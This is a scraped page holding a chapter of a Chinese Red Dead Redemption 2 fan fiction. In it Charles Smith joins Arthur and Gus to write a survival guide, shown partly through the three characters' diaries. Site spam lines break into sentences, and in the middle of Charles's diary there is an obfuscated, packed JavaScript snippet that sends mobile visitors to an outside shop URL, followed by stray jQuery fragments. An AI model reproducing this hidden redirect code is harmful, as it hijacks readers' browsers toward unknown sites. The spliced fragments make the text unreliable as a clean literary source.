文趣网 > 都市小说 > 游戏主角被我操作日常 > 第 110 章 新书·上
    第110章新书·上

    【两个自以为瞒得很好的傻瓜。】

    在早年的美国,黑人的命运如牲畜般被人操控。驱使,买卖,配种,生死全凭主人心意。

    至于这片土地的原住民,印第安人,在那些扛着枪炮、高喊文明的拓荒者眼中,也不过是碍事的阻碍、待铲除的杂草。所谓的文明,便是要将他们屠戮殆尽。

    查尔斯·史密斯,就诞生在这双重绞索之下。他的父亲,是身负镣铐的黑牲口;他的母亲,则是被枪炮与谎言驱离故土的原住民。他体内流淌的,是这世界最不被承认的血:

    白人老爷鄙夷他,认为他血统卑贱;一些黑人群体排斥他,嫌弃他不够纯粹;就连部分印第安部落,也因他的另一半血统而心存戒备。

    查尔斯学会了小心翼翼地生存,总是坐在人群的边缘,静静观察,很少开口。能活到现在,靠的大半是运气和谨慎。

    他见过许多人倒在路上,也见过好心人刻意避开他的目光。但达奇·范德林德是不同的——至少在查尔斯的记忆里,那时候的达奇确实不同。

    达奇会搭着他的肩膀,称他为兄弟;达奇说的是劫富济贫的道理——从那些坐拥万贯家财、剥削穷人的富豪手里抢钱,用来接济那些在泥地里为了几个铜板拼命的可怜人,救下那些因为偷只鸡就要被绞死的孩子,帮助走投无路的女人。

    达奇的帮派有着朴素的信念。他们确实也做着偷抢的勾当,但达奇总有答案,总有计划,总能描绘出一个更好的未来。众人追随达奇,如同追逐寒冬里最后那缕微光。

    可渐渐地,日子开始变了。偷马卖牛的钱不再够用,要抢小镇银行;洗劫小银行后犹嫌不足,还有火车,邮轮,乃至招惹那些武装精良、人多势众的私家大公司……

    达奇的嘴里,也渐次冒出些新词:“必要的牺牲”,“为了更大的目标”,以及一个被愈发频繁提及的地名,一个谁都没去过的地方:塔希堤。

    有时候查尔斯觉得,这个男人已经不再如往日、如声称那般,将所有人当家人看待了。现在的达奇,更像是把他们当成了可以随意下注的筹码。

    讽刺的是,即便看穿了这点,可环顾四周,除了范德林德帮这艘不知何时沉没的独木舟,哪里还有能容纳“杂种”、“黑鬼”和“红皮野人”的去处?

    然后,在克莱蒙斯岬,在那个湖水拍岸、阳光炽热的午后,亚瑟带回一个新人。又或者说,一位客人。

    那是个衣着极体面的年轻人——一身足以招致抢劫的体面行头,西部的靴子,外加一副在这片原野上几乎绝迹的整洁气质。他身上有种难以言

    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的

    喻的平静,透着股书卷气,眼神却又像极了一只正在盘算着什么的鹰。

    年轻人自称是药剂师。也许是真的。那双手很稳,动作也专业,不像临时学来糊弄人的把戏。无神论者?少见,但无关紧要。

    真正让查尔斯注意的,是连他这样惯于对一切保持距离的人,也很难对古斯的话语无动于衷。

    达奇喜欢用那些宏大的词汇,谈论理想、自由、正义,让人觉得自己正在参与一项伟大事业,还能得来不俗回报。查尔斯早已习惯这种感染力,习惯从那些激昂的手势和言辞中寻找归属。

    但古斯不同。他的措辞甚至比达奇更考究,十足的东部读书人腔调,可说到最后,却像是在盘点账本——一项项核算,讲如何在这片土地上立足、生存,甚至活得体面。

    更奇怪的是亚瑟。

    查尔斯见过亚瑟和女人相处的样子——有时候表现得像个绅士,大多数时候都会搞砸;也见过亚瑟和兄弟们在一起——轻松、粗鲁,偶尔为证明什么做些蠢事。但此刻,亚瑟身上有种查尔斯从未见过的情状。

    那不是紧张,亦非放松,而是某种……古怪又警觉的满足。仿佛一头伪装成猎犬出门的灰狼,终于将新结识的人类朋友引荐给族群。既暗自得意,又本能地提防,生怕任何一方惹出乱子。

    还有外表。那相当刻意的胡茬长度从某一天起就再没变过,那件新外套意外地和古斯的同款不同色,连靴子都擦得能反光。这一切组合起来,总让查尔斯想起印第安部落里求偶的勇士,将最好的羽毛插在头上,拿最鲜艳的颜料涂抹脸庞。

    罗兹镇的空气对任何肤色不够“干净”的人都充满恶意。无论是镇上那些自以为是的白人绅士,还是蜷缩在酒馆角落的小角色,投向他的目光都像在看某种令人作呕的秽物。

    达奇要求帮派成员不能在罗兹惹事,查尔斯不打算违反,也不愿意一直依靠帮派过活。于是,他和蓝尼一起进了城,径直去了亚瑟的住处——

    或者更准确地说,是亚瑟和古斯的住处。

    没有任何挑剔或审视,工作在第一天便降临:卖药、记账、处理麻烦、照顾狗和马。蓝尼适应得更快,跑腿推销的收入很快超过了他。没有激情演讲,没有大道理,事情干完,钱拿到手,其余一概无需多想。

    每一天都这样周而复始,看似平凡,又有种说不清的安稳。

    但,这份平静里,总夹杂着一丝挥之不去的不对劲。

    这是个对深肤色充满恶意的世界,读懂他人的情绪和意图是生存的必需品。查尔斯很快确认,古斯看他和蓝尼的眼神是看“人”的,这没问题。然而,每次对上亚瑟这个真正

    你的朋友正在书荒,快去帮帮他吧

    人带了四匹马出来,约翰已骑走一匹,但系在营地的居然还是四匹:黑朗姆、金条、白雪,多出一匹密苏里狐步马。这马银色花斑,体格健壮,姿态却略显拘谨,显然还没完全适应人类的存在。

    有趣。他俩居然驯服了一匹野马。花斑还挺漂亮。

    查尔斯又打量过几眼,营地里的两人却不知因什么话题争执起来。篝火边,古斯双手比划,嘴里说得飞快;亚瑟站在对面,皱着眉,双手抱胸,时而挥手反驳,时而干脆把帽子往后一推,透着股顽固的倔劲。

    两人互不相让,动作愈发夸张。因克趴得离他们远些,无聊地望着河谷。忽然,它脖子一动,朝林间张望,目光与查尔斯对上,尾巴敷衍地晃了两下,却懒得起身。

    查尔斯抬抬下巴,算是回应。而那两人争着争着……古斯的手忽然向前探出,径自进了亚瑟领口,亚瑟也配合地仰起脖子。一角海一样光泽的蓝色,在两个男人之间的缝隙一闪,很快又隐入衣襟。

    查尔斯:“……

    查尔斯转头重新看向因克,因克也正看着他。

    至少,这趟活里还有一只可靠的狗,四匹很好的马,总归比盯着那俩人强得多。

    ……

    【查尔斯·史密斯日记】

    今天古斯给了我稿纸和笔记本。他说我也该记下点什么,说我懂得的那些技能很珍贵。亚瑟在旁边帮腔,提到了什么两成半的利润分成。

    正经生意,他们这么说。

    我从没想过能有这一天。有人愿意为我的知识付钱。有人觉得我知道的那些东西值得写成书。

    古斯还说他们之前那本小册子已经再版了,说人们真的需要这些知识。说我掌握的那些,或许能救下不少人的命。

    我想起母亲教我辨识药草时说过的话:知识只有用它去帮助别人时,才能变成智慧。

    然后他们俩问我,愿不愿意在书上署名。

    署名。我的名字。印在书上——查尔斯·史密斯,技术顾问,野外向导。

    我几乎不敢相信。在这个世界上,像我这样的人,有机会让自己的名字出现在书上。不是通缉令,不是死亡名单,而是一本能给其他人带来帮助的书。

    我答应了。今晚坐在篝火边,拿着这沓空白的纸。我要开始写了。之后,我还要和他们俩一起整理那些生活教会我的,在生存里学到的,那些或许能帮到别人的东西。

    生

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713045|145920||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    命总让我困惑,我觉得我不太了解生命。这片土地也总让我不知所措*。这大概是我头一回真切地觉得,我的存在……好像能找到一点意义了。

    母亲,你看到了吗?你的儿子,名字要印在书上了。

    ……

    【奥古

    你身边有不少朋友还没看到本章呢,快去给他们剧透吧

    斯图斯·普莱尔日记】

    不知第几天,总之野外补录。

    第一件事:亚瑟给我的那匹深骝色土库曼战马,我决定叫它“焦糖”。

    然后,我们在翡翠牧场附近撞见了阿尔伯特·梅森——就是游戏里那个摄影师。他是来拍野马的。有意思的是,他也买了我和亚瑟鼓捣出来的那本小册子。

    亚瑟帮他赶马,他给我们和因克拍了张合影。完事后,亚瑟带着因克去追刚刚的野马群,居然真弄回来那匹花斑配色相当高级的密苏里狐步马!

    在我们这个现实里,它是个姑娘,漂亮又精神。亚瑟自留了,看它那身花毛,直接起名叫补丁(Patches)。不过嘛,财产共同计算的好处是——他的就是我的,嘿嘿嘿嘿。

    最后,我们在商量新书目录时,人力资源招募大成功。查尔斯来了,正式加入我们的出版大业。

    新书名已确定:《野径与营地:户外生存与林野技艺完全指南》。目标规模三百到四百页,字数十万上下,面向期望获得更加专业指导的读者群体。

    亚瑟明里暗里警告我别一上来就把这目标捅给查尔斯,怕把他吓跑。我看查尔斯好兄弟捧着稿纸那副小心翼翼又压不住兴奋的模样……不像会跑啊?不过,我亲爱的大猫比我懂行,我得听他的。

    ……

    【亚瑟·摩根日记】

    又是一天。真奇怪。之前那些事感觉还像一场梦。说不清是噩梦还是美梦。帮派散了,达奇也走了。可说实话,现在反而轻松多了。

    我喜欢这样,和我爱(涂抹痕迹)在荒野里,做正经事。没有抢劫,没有逃亡,没有人死。就只是……工作。真正的工作。

    今天碰见个叫阿尔伯特的摄影师,专门来拍野马。聊起来,他提到了我们那本小册子,说帮了他大忙,让他在野外过夜时少了不少麻烦。

    我心里有种说不出的感觉。这些年,我的名字要么在通缉令上,要么压根没人提起。可现在,有个素不相识的人,因为我们写的东西,日子好过了一点。不是怕我,是真帮到他了。

    阿尔伯特还给我们和因克拍了张照片。

    赶马的时候,发现一匹银色花斑的密苏里狐步马。因克帮我找到了她。我叫她“补丁”。她还挺紧张,不过我能感觉到,她正慢慢学着信任我。马比人实在,你对它们好,它们知道。

    查尔斯今天正式加入了我们这个……生意?项目?反正就是新书的事情。古斯说到署名时,他就那么愣在那,好像不敢相信似的。查尔斯是个好人,可他从来没得到过应得的尊重和待遇。这让我更加觉得,我们干的是对的事。是好事。

    不过古斯有时候太心急了。何西阿要是想哄人,从来不会一开始就摆出那么大的阵仗。更何况十来万字,三四百页,哪怕没被这小子折磨过,也容易把人活活吓跑。我得在旁边盯着,时不时踢他一脚,让他收敛点。

    现在,我们围坐在篝火边,等着炖锅里的东西熟,每个人都在写自己的东西。

    很奇怪的感觉。我们就像……正常人一样。干正常的工作,过正常的日子。我突然觉得,这就是我想要的。不用担心谁会追过来,也不用琢磨着要干掉谁。大概这就是古斯念叨的“更好的生活”。

    该死,我真爱这家伙。不过现在有查尔斯在,我们得(大段涂抹痕迹)

    明天继续工作,我们有书要写。

    作者有话要说:

    本章中*部分“生命总让我困惑,我觉得我不太了解生命。这片土地也总让我不知所措”加工自游戏中查尔斯自述台词